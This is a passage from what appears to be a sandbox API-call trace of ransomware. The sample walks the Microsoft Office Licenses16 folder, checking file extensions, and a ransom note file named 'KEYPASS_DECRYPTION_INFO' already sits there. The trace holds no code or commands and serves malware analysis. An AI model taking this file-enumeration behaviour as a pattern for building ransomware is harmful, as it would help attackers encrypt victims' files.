(pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_OEM_Perp-pl.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_OEM_Perp-ppd.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_OEM_Perp-ul-oob.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_OEM_Perp-ul-phn.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Retail-pl.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Retail-ppd.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Retail-ul-oob.xrm-ms") returned=".xrm-ms" [0244.351] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Retail-ul-phn.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Trial-pl.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Trial-ppd.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019R_Trial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019VL_KMS_Client_AE-ppd.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019VL_KMS_Client_AE-ul-oob.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019VL_KMS_Client_AE-ul.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019VL_MAK_AE-pl.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019VL_MAK_AE-ppd.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.352] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019VL_MAK_AE-ul-oob.xrm-ms") returned=".xrm-ms" [0244.352] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\Access2019VL_MAK_AE-ul-phn.xrm-ms") returned=".xrm-ms" [0244.353] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessRuntime2019R_PrepidBypass-ppd.xrm-ms") returned=".xrm-ms" [0244.353] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessRuntime2019R_PrepidBypass-ul-oob.xrm-ms") returned=".xrm-ms" [0244.353] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessRuntimeR_PrepidBypass-ppd.xrm-ms") returned=".xrm-ms" [0244.353] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessRuntimeR_PrepidBypass-ul-oob.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned=".xrm-ms" [0244.358] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.359] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned=".xrm-ms" [0244.359] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned=".xrm-ms" [0244.360] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned=".xrm-ms" [0244.360] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\c2rpridslicensefiles_auto.xml") returned=".xml" [0244.360] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned=".xrm-ms" [0244.360] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned=".xrm-ms" [0244.360] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned=".xrm-ms" [0244.360] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.360] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned=".xrm-ms" [0244.360] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.384] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned=".xrm-ms" [0244.385] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned=".xrm-ms" [0244.386] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.386] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial365-ppd.xrm-ms") returned=".xrm-ms" [0244.387] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.387] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial365-ul-oob.xrm-ms") returned=".xrm-ms" [0244.387] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.387] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcDemoR_BypassTrial365-ppd.xrm-ms") returned=".xrm-ms" [0244.387] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.387] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcDemoR_BypassTrial365-ul-oob.xrm-ms") returned=".xrm-ms" [0244.387] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.391] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.391] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned=".xrm-ms" [0244.391] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.392] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.392] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, 